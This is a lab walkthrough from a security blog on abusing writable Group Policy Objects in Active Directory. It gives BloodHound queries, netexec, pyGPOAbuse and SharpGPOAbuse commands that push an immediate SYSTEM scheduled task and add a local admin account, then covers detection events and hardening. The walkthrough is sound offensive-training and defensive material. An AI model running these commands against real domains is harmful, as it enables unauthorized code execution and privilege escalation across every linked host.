0
Hands-on Labs INTERMEDIATE 14 min read Updated

Abusing GPOs for Lateral Movement in an AD Lab

A hands-on GPO abuse walkthrough: find a writable Group Policy Object, push a benign immediate task or lab local admin with pyGPOAbuse, watch it land on every linked host, then lock it down.

founder & security researcher · 39 writeups
Abusing GPOs for Lateral Movement in an AD Lab

GPO abuse is one of the cleanest ways to turn a single misconfigured permission into code execution on every machine a policy touches. If your account can edit a Group Policy Object, you do not need a memory-corruption bug or a cracked password. You hold a legitimate Active Directory feature that already pushes settings and scripts out to linked computers, and you simply ask it to push one more. This walkthrough builds that chain end to end in a lab domain you own, from spotting the writable GPO to landing a harmless change on a target, then turns around and shows the defender how to catch it and close the hole.

Read it top to bottom once to see the full path, then keep it open while you work the same steps on your own range. Nothing here points at anything but a lab you control.

Scope

Every command below is for an Active Directory lab you own or are explicitly authorized to test, such as a GOAD-style range on 10.10.10.0/24. The example actions only write a marker file or add a throwaway lab account so you can watch the mechanism work. Running any of this against a domain you do not own is a crime.

01What a Group Policy Object actually is

A Group Policy Object is the container Active Directory uses to deliver settings, scripts, and preferences to the computers and users it is linked to. Each GPO lives in two places at once, and both matter for abuse. The policy metadata sits in the directory as a Group Policy Container (GPC) under CN=Policies,CN=System. The actual files, including any scripts and preference definitions, sit on disk in the SYSVOL share, which every domain controller replicates and every domain-joined machine can read.

A GPO does nothing on its own. It takes effect only once it is linked to a scope: the whole domain, a site, or an Organizational Unit (OU). When a machine or a user falls inside a linked scope, it reads the policy from SYSVOL and applies it on a schedule. That linkage is the detail that makes a writable GPO so valuable, because editing one set of files can reach hundreds of endpoints without you ever touching them directly.

text
GPO = GPC (directory object)  +  GPT (files in SYSVOL)
  GPC : CN={GUID},CN=Policies,CN=System,DC=lab,DC=0xpriv,DC=dev
  GPT : \\lab.0xpriv.dev\SYSVOL\lab.0xpriv.dev\Policies\{GUID}\
Applies to: any computer or user inside a linked domain / site / OU

02Why write access to a GPO means control

Write access to a GPO equals control of every target it is linked to, and that single fact is the whole basis of GPO abuse. Group Policy was built to let an administrator change configuration everywhere at once, so the trust model assumes that anyone able to edit a policy is already a trusted admin. Active Directory does not inspect the contents or ask why. If you can write to the GPO, the domain will faithfully deploy whatever you put in it to all linked machines on their next policy refresh.

In practice the dangerous rights are a short list. Any of GenericAll, GenericWrite, WriteDacl, WriteOwner, or Owns over a GPO object is enough: either you can edit the policy directly, or you can rewrite its permissions until you can. These rights land on ordinary accounts more often than they should, usually from a helpdesk group that was granted edit rights on one workstation GPO and quietly inherited reach over every workstation in the OU.

one writable GPO, every linked host
Your accountGenericWrite on GPO edit Workstations GPOlinked to OU deploy 10.10.10.21 10.10.10.22 10.10.10.23

03Finding where you have GPO edit rights

Finding a writable GPO starts with mapping the rights your foothold already carries, and BloodHound makes that search quick. Collect the domain, mark your current principal as owned, and ask the graph which GPO objects it can write. The edges that matter are GenericWrite, WriteDacl, GenericAll, WriteOwner, and Owns pointing at a node of type GPO.

cypher
// GPOs an owned principal can edit, directly or by rewriting the DACL
MATCH p=(n {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(g:GPO)
RETURN p

Once you have a candidate, the second question is reach: what does editing it actually get you? Follow the link relationships down to the computers in scope so you know how many hosts a single edit will hit, and whether any of them are worth the noise.

cypher
// every computer a given GPO is linked to, through OUs and the domain
MATCH p=(g:GPO {name:"WORKSTATIONS [email protected]"})-[:GPLink|Contains*1..]->(c:Computer)
RETURN p

If you collect with netexec, a single LDAP run drops the data straight into a BloodHound-ready archive, which keeps you off disk on the target.

collecting the domain for BloodHound
$ nxc ldap 10.10.10.10 -u jdoe -p 'Spring2026!' --bloodhound --collection All --dns-server 10.10.10.10
LDAP  10.10.10.10  389  DC01  [*] Windows Server 2022 Build 20348 (domain: lab.0xpriv.dev)
LDAP  10.10.10.10  389  DC01  [+] lab.0xpriv.dev\jdoe:Spring2026!
LDAP  10.10.10.10  389  DC01  [*] Done collecting, saved to 20261011_bloodhound.zip

04Confirming the rights from the SYSVOL path

Confirming the write right from SYSVOL is the fallback when you want to check one policy without the full graph, because the GPO files live on a readable share. Every domain user can list \\lab.0xpriv.dev\SYSVOL\lab.0xpriv.dev\Policies\ and see the GUID folders, one per GPO. The GUID is the link between what BloodHound calls a GPO and the folder you will modify, so write it down.

listing the policy store and reading an ACL
$ smbclient.py lab.0xpriv.dev/jdoe:'Spring2026!'@10.10.10.10 -c "ls SYSVOL/lab.0xpriv.dev/Policies"
drw-rw-rw-    0  {31B2F340-016D-11D2-945F-00C04FB984F9}
drw-rw-rw-    0  {6AC1786C-016F-11D2-945F-00C04FB984F9}
drw-rw-rw-    0  {A2735F28-9C3B-4E71-9D1A-77C0E1B2F451}
PS C:\> (Get-Acl "\\lab.0xpriv.dev\SYSVOL\lab.0xpriv.dev\Policies\{A2735F28-9C3B-4E71-9D1A-77C0E1B2F451}").Access | ? { $_.FileSystemRights -match 'Write' }
IdentityReference : LAB\Helpdesk
FileSystemRights  : Modify, Synchronize

If your group shows up with Modify or Write on the folder, you can change the policy files directly, which is exactly what the abuse tools do for you. Map the GUID back to a friendly name and its links with PowerView if you are on a Windows foothold.

powershell
# 0xpriv.dev/labs  -- friendly name, GUID, and where it is linked
Get-DomainGPO -Identity '{A2735F28-9C3B-4E71-9D1A-77C0E1B2F451}' |
  Select-Object displayname, gpcfilesyspath
Get-DomainOU -GPLink 'A2735F28-9C3B-4E71-9D1A-77C0E1B2F451' | Select-Object name

05What an attacker configures through a GPO

The actions configured through a GPO are ordinary administrative features, which is what makes them hard to tell apart from real management. At a high level three of them matter for a foothold, and every one is something a real admin pushes through Group Policy every day.

ActionWhere it lands in the GPOEffect on linked hosts
Immediate scheduled taskPreferences, ScheduledTasks.xmlRuns a command once, as SYSTEM, at the next refresh
New local administratorRestricted Groups or a group preferenceAdds an account you control to the local Administrators group
Startup / logon scriptMachine or User scripts sectionRuns a script every boot or logon

The immediate scheduled task is the operator favourite because it runs as NT AUTHORITY\SYSTEM on a computer-linked GPO, it fires on the very next policy refresh instead of waiting for a reboot, and the preference type is designed to run once and then remove itself. A local administrator is quieter and more durable for later re-entry, while a startup script trades speed for persistence across reboots. In this lab we stay with the first two and keep the result benign.

Blast radius

A GPO linked at the domain root hits every machine in the domain, including the domain controllers. Before you push anything, confirm the link scope in BloodHound so a lab exercise does not reconfigure the whole range by accident.

06The tooling: pyGPOAbuse, SharpGPOAbuse, and netexec

The tooling for GPO abuse comes down to two editors and one delivery helper, and you pick by where you are standing. From a Linux attack box you use pyGPOAbuse, which writes an immediate task into SYSVOL over SMB with only credentials. From a Windows foothold you use SharpGPOAbuse, a .NET tool that edits the policy through the local APIs with named switches. netexec rounds it out: it collects the graph data and, when you are impatient, forces a policy refresh on the targets.

pyGPOAbuse takes the GPO GUID and, by default, creates an immediate scheduled task. Point it at a computer-linked GPO with a harmless command so you can watch it land. Writing a marker file proves SYSTEM execution without changing anything that matters.

bash
# pyGPOAbuse: immediate computer task that proves SYSTEM execution
# 0xpriv.dev/labs  -- lab only, swap the GUID for your writable GPO
python3 pygpoabuse.py 'lab.0xpriv.dev/jdoe:Spring2026!' \
  -gpo-id 'A2735F28-9C3B-4E71-9D1A-77C0E1B2F451' \
  -scope computer \
  -taskname 'LabHealthCheck' \
  -author 'LAB\Administrator' \
  -command 'cmd.exe' \
  -arguments '/c whoami > C:\lab-gpo-proof.txt' \
  -f

SharpGPOAbuse does the same job from Windows and ships dedicated switches, so you describe the action rather than hand-build it. The two cleanest for a lab are --AddLocalAdmin, which adds a chosen account to the local Administrators group on every linked host, and --AddComputerTask, which registers an immediate task. Both take the GPO display name directly.

powershell
# SharpGPOAbuse from a Windows foothold -- add a lab account as local admin
# then, separately, register a benign immediate task on linked machines
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount labsvc --GPOName "Workstations Policy"
SharpGPOAbuse.exe --AddComputerTask --TaskName "LabHealthCheck" --Author "LAB\Administrator" --Command "cmd.exe" --Arguments "/c whoami > C:\lab-gpo-proof.txt" --GPOName "Workstations Policy"

netexec is the delivery helper. Point it at the linked hosts to run gpupdate so you do not sit waiting on the refresh timer, and to confirm afterwards that your change took hold.

bash
# force the linked machines to pull policy now, then verify the result
nxc smb 10.10.10.21-23 -u jdoe -p 'Spring2026!' -x 'gpupdate /force'
nxc smb 10.10.10.21 -u labsvc -p 'Lab!Passw0rd' --local-auth

07How the change reaches linked machines on the next refresh

The refresh cycle is what actually delivers your change, so understanding its timing tells you how long to wait and how loud you want to be. Domain-joined computers pull Group Policy at startup and then on a background interval, by default every 90 minutes with a random offset of up to 30 minutes so the whole fleet does not hammer the controllers at once. Domain controllers refresh every 5 minutes. When a client refreshes, it reads the policy version from the GPC, sees that SYSVOL has a newer copy, downloads the changed files, and applies them.

from a SYSVOL edit to code on the host
Edited GPOSYSVOL, new version refresh Client pulls policy90 min / gpupdate apply Task runsNT AUTHORITY\SYSTEM

You do not have to wait out the timer in a lab. Because an immediate task runs the moment the client processes the preference, forcing a refresh with gpupdate /force over netexec collapses the whole delay to a few seconds. In a real engagement patience is quieter, but for learning the mechanism, forcing it is the fastest feedback loop.

08A worked walkthrough on 10.10.10.0/24

The worked example ties every step together on a small range so you can repeat it exactly. The setup: you have captured the credentials of jdoe, a helpdesk user, and your target is three workstations at 10.10.10.21 to 10.10.10.23, all inside an OU that a GPO named Workstations Policy is linked to.

Collect and map

Run the netexec LDAP collection, open BloodHound, mark jdoe as owned, and run the GPO query. The Workstations Policy node comes back with a GenericWrite edge from the Helpdesk group.

Confirm the reach

Run the GPLink query. The policy links to the OU holding 10.10.10.21 to .23, so a single edit lands on all three. None of them are domain controllers, so the blast radius is safe for the exercise.

Grab the GUID

List SYSVOL and match the Workstations Policy display name to its folder GUID, confirming Helpdesk has Modify on the folder.

Push the task

Run pyGPOAbuse with the GUID, a computer scope, and the benign whoami marker command. The tool writes ScheduledTasks.xml and bumps the GPO version.

Trigger and verify

Force a refresh on the three hosts with netexec, then read back the marker file to confirm it ran as SYSTEM.

pushing and confirming in the lab
$ python3 pygpoabuse.py 'lab.0xpriv.dev/jdoe:Spring2026!' -gpo-id 'A2735F28-9C3B-4E71-9D1A-77C0E1B2F451' -scope computer -command 'cmd.exe' -arguments '/c whoami > C:\lab-gpo-proof.txt' -f
[+] ScheduledTask LabHealthCheck created!
$ nxc smb 10.10.10.21-23 -u jdoe -p 'Spring2026!' -x 'gpupdate /force'
SMB  10.10.10.21  445  WS01  [+] Executed command
SMB  10.10.10.22  445  WS02  [+] Executed command
SMB  10.10.10.23  445  WS03  [+] Executed command
$ nxc smb 10.10.10.21 -u jdoe -p 'Spring2026!' --get-file 'C:\lab-gpo-proof.txt' proof.txt
nt authority\system

09Detecting GPO abuse

Detecting GPO abuse is very achievable because the technique leaves marks in several places at once, and a defender who watches the right few events sees it clearly. The first signal is on disk: any change to the files under SYSVOL\...\Policies\{GUID}\, especially a new or edited ScheduledTasks.xml in the Machine preferences folder, is worth an alert. File integrity monitoring on SYSVOL catches the write even when the attacker never touches the directory from a management console.

The directory side is just as loud. Event 5136 (a directory service object was modified) fires on the GPC object when the policy version attribute changes, which is your record of who edited which GPO and when. On the endpoints, event 4698 (a scheduled task was created) appears as the immediate task registers, and the task author and command line in that event often give the whole game away. Finally, watch the gpupdate pattern: a burst of forced refreshes across many hosts in a short window, triggered from one non-admin account, is the attacker collapsing the refresh delay rather than normal background cycling.

Correlate, do not chase strings

Any one of these can have an innocent cause. The strong signal is the sequence: a 5136 on a GPO from an unexpected account, followed within minutes by 4698 events and a forced gpupdate across its linked hosts. Alert on the chain, not on a single payload keyword.

10Shutting GPO abuse down

Shutting GPO abuse down is mostly about who can edit policies in the first place, since the attack is a misused legitimate right rather than a software bug. The fixes below move from the root cause outward, and the first one removes most of the risk on its own.

How to shut it down
Least privilege on GPO ACLs. Audit who holds GenericWrite, WriteDacl, WriteOwner, GenericAll, or Owns on every GPO and OU, and strip edit rights from helpdesk, operator, and service groups that do not need them. This is the control that closes the hole.
Monitor GPO and SYSVOL changes. Alert on event 5136 against GPC objects and on file writes under SYSVOL Policies, so any edit is reviewed, not just applied.
Tier your admins. Keep the accounts that manage workstation GPOs separate from the ones that manage servers or domain controllers, so one captured helpdesk login cannot reach a domain-linked policy.
Alert on new immediate tasks. Treat a fresh ScheduledTasks.xml in a GPO, and event 4698 with a SYSTEM task author pushed by policy, as high priority until proven to be real administrative work.

This technique maps to MITRE ATT&CK T1484.001, Group Policy Modification, under the Domain Policy Modification technique, which is a useful anchor when you are building detections or writing up the finding for a client.

11FAQ

What rights do I actually need to abuse a GPO?FAQ

Any write-equivalent right over the GPO object: GenericAll, GenericWrite, WriteDacl, WriteOwner, or Owns. GenericWrite lets you edit the policy directly. WriteDacl or WriteOwner let you first rewrite the permissions to grant yourself edit rights, then proceed. Read-only access is not enough.

Does the change hit every machine instantly?FAQ

No. Linked machines apply the edit on their next Group Policy refresh, which is every 90 minutes by default with up to a 30 minute random offset, and at startup. An immediate scheduled task runs as soon as that refresh happens, and you can force it at once in a lab with gpupdate /force.

Why pick an immediate task over a startup script?FAQ

An immediate task runs as SYSTEM on the next refresh, with no reboot needed, and is built to run once and clean itself up, so it is fast and relatively tidy. A startup script only fires on boot, which is slower but gives you persistence across restarts. Pick based on whether you want speed or durability.

Can this be done from Linux without a Windows box?FAQ

Yes. pyGPOAbuse writes the policy files into SYSVOL over SMB using just a username and password or a hash, so a Linux attack box is enough. SharpGPOAbuse is the equivalent when you already have a Windows foothold and prefer named switches.

What is the single most effective defense?FAQ

Least privilege on GPO permissions. Most real-world GPO abuse comes from a broad group like helpdesk holding edit rights it never needed. Remove those rights, keep policy editing to tiered admins, and the attack has nowhere to start. Monitoring event 5136 and SYSVOL changes catches whatever slips through.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear